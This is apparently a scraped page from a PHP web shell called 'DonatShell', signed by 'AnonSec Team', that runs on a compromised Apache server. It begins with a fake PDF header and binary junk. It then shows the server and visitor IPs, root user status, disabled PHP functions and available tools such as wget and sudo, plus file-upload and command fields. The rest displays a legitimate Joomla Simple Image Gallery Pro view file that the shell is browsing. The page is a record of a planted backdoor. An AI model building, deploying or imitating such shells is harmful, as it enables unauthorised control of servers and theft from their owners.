%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/old/administrator/components/com_sigpro/views/galleries/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/old/administrator/components/com_sigpro/views/galleries/view.html.php
<?php
/**
 * @version		$Id: view.html.php 3318 2013-07-09 22:47:06Z lefteris.kavadas $
 * @package		Simple Image Gallery Pro
 * @author		JoomlaWorks - http://www.joomlaworks.net
 * @copyright	Copyright (c) 2006 - 2013 JoomlaWorks Ltd. All rights reserved.
 * @license		http://www.joomlaworks.net/license
 */

// no direct access
defined('_JEXEC') or die ;

class SigProViewGalleries extends SigProView
{

	public function display($tpl = null)
	{
		$model = SigProModel::getInstance('Galleries', 'SigProModel');
		$model->setState('limit', $this->limit);
		$model->setState('limitstart', $this->limitstart);
		$model->setState('sorting', $this->sorting);
		$model->setState('type', $this->type);
		$galleries = $model->getData();
		$this->assignRef('rows', $galleries);

		jimport('joomla.html.pagination');
		$total = $model->getState('total');
		$this->assignRef('total', $total);
		$pagination = new JPagination($total, $this->limitstart, $this->limit);
		$this->assignRef('pagination', $pagination);

		if ($this->type == 'k2')
		{
			$frameSrc = 'index.php?option=com_k2&view=items&task=element&tmpl=component&limit=10';
			$frameHeight = 450;
			$frameClass = 'sigProModalK2ItemsFrame';
		}
		else
		{
			$frameSrc = 'index.php?option=com_sigpro&view=galleries&task=add&tmpl=component&editorName='.$this->editorName.'&type='.$this->type.'&parentTmpl='.$this->tmpl;
			$frameHeight = 50;
			$frameClass = 'sigProModalAddGalleryFrame';
		}
		if($this->template)
		{
			$frameSrc .= '&template='.$this->template;
		}
		$frameSrc = JRoute::_($frameSrc);
		$this->assignRef('frameSrc', $frameSrc);
		$this->assignRef('frameHeight', $frameHeight);
		$this->assignRef('frameClass', $frameClass);

		$options = array();
		$options[] = JHTML::_('select.option', 'folder ASC', JText::_('COM_SIGPRO_FOLDER_NAME_ASC'));
		$options[] = JHTML::_('select.option', 'folder DESC', JText::_('COM_SIGPRO_FOLDER_NAME_DESC'));
		$options[] = JHTML::_('select.option', 'modified ASC', JText::_('COM_SIGPRO_MODIFIED_DATE_ASC'));
		$options[] = JHTML::_('select.option', 'modified DESC', JText::_('COM_SIGPRO_MODIFIED_DATE_DESC'));
		$lists = array();
		$lists['sorting'] = JHTML::_('select.genericlist', $options, 'sorting', 'onchange="this.form.submit();"', 'value', 'text', $this->sorting);
		$this->assignRef('lists', $lists);
		parent::display($tpl);
	}

}

Anon7 - 2022
AnonSec Team